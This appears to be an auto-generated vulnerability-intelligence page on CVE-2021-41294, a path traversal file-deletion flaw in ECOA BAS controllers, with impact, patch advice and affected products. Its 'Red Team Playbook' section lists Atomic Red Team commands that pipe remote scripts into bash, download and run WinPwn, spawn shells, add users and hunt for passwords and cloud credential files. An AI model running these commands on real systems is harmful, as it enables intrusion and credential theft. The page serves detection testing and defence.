CVE-2021-41294
Overview
The vulnerability is a path traversal flaw (CWE-22) in the ECOA ECS Router Controller ECS firmware. It arises from improper validation of user-supplied input in a GET parameter, allowing unauthorized access to file system paths. This flaw affects the ECOA BAS controller component responsible for handling HTTP requests, enabling manipulation of file paths without authentication.
Vulnerability Description
ECOA BAS controller suffers from a path traversal vulnerability, causing arbitrary files deletion. Using the specific GET parameter, unauthenticated attackers can remotely delete arbitrary files on the affected device and cause denial of service scenario.
Impact
An unauthenticated attacker can remotely delete arbitrary files on affected ECOA devices by exploiting the path traversal vulnerability, leading to denial of service conditions. No authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), enabling remote exploitation over the network. This can disrupt device operation and potentially impact business continuity by disabling critical BAS controller functions.
Solution
Refer to the ECOA security advisory published at https://www.twcert.org.tw/tw/cp-132-5130-7de92-1.html for detailed patch instructions. Apply the vendor-provided firmware updates for ECOA ECS Router Controller ECS, RiskBuster, and RiskTerminator products as specified in the advisory. Follow ECOA's recommended upgrade procedures to mitigate the path traversal vulnerability and prevent unauthorized file deletions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the ECOA BAS controller is characterized as a path traversal flaw that allows unauthorized users to manipulate file paths and access sensitive files on the device. This issue arises from improper input validation, particularly in the handling of specific GET parameters. By exploiting this vulnerability, an attacker can craft a malicious request that traverses the file system, potentially leading to the deletion of arbitrary files. The severity of this flaw is underscored by its high CVSS score, indicating that it poses a significant risk to the integrity and availability of the affected systems.
Attack vectors for this vulnerability are particularly concerning due to the lack of authentication requirements. An attacker can remotely execute the exploitation without needing valid credentials, making it accessible to a broad range of malicious actors. Once the attacker identifies the vulnerable parameter, they can construct a request that targets critical system files or configuration files, leading to their deletion. This action can result in a denial of service scenario, where the affected device becomes non-operational, disrupting services that rely on the BAS controller. Additionally, the potential for cascading effects on connected systems could amplify the impact, especially in environments where the BAS controller interfaces with other critical infrastructure components.
The real-world implications of this vulnerability are significant for organizations relying on the affected ECOA products. The ability to delete files remotely can lead to operational disruptions, loss of critical data, and potential financial losses due to downtime. Furthermore, the exploitation of this vulnerability could damage an organization's reputation, especially if it results in a breach of sensitive information or impacts customer trust. Industries such as manufacturing, healthcare, and utilities, which often utilize these controllers for automation and monitoring, may face heightened scrutiny from regulators and stakeholders if they fail to address such vulnerabilities promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify and remediate weaknesses in their systems before they can be exploited. Additionally, organizations should enforce strict access controls and ensure that only authenticated and authorized users can interact with critical system components. Implementing web application firewalls (WAFs) can also provide an additional layer of security by filtering out malicious requests that attempt to exploit path traversal vulnerabilities. Furthermore, keeping firmware and software up to date with the latest security patches is essential to minimize exposure to known vulnerabilities.
In conclusion, the path traversal vulnerability in ECOA BAS controllers represents a serious threat that can lead to unauthorized file deletion and denial of service. The ease of exploitation due to the lack of authentication requirements amplifies the risk, making it imperative for organizations to prioritize detection and mitigation strategies. By adopting a proactive security posture and implementing robust security measures, organizations can protect themselves against the potential fallout from this vulnerability, ensuring the integrity and availability of their critical systems.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ecoa | Ecs Router Controller-Ecs Firmware | N/A |
cpe:2.3:o:ecoa:ecs_router_controller-ecs_firmware:-:*:*:*:*:*:*:*
|
|
|
Ecoa | Riskbuster Firmware | N/A |
cpe:2.3:o:ecoa:riskbuster_firmware:-:*:*:*:*:*:*:*
|
|
|
Ecoa | Riskterminator | N/A |
cpe:2.3:a:ecoa:riskterminator:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-41294 |
| twcert.org.tw |
GitHub CVE
x_refsource_MISC
|
https://www.twcert.org.tw/tw/cp-132-5130-7de92-1.html |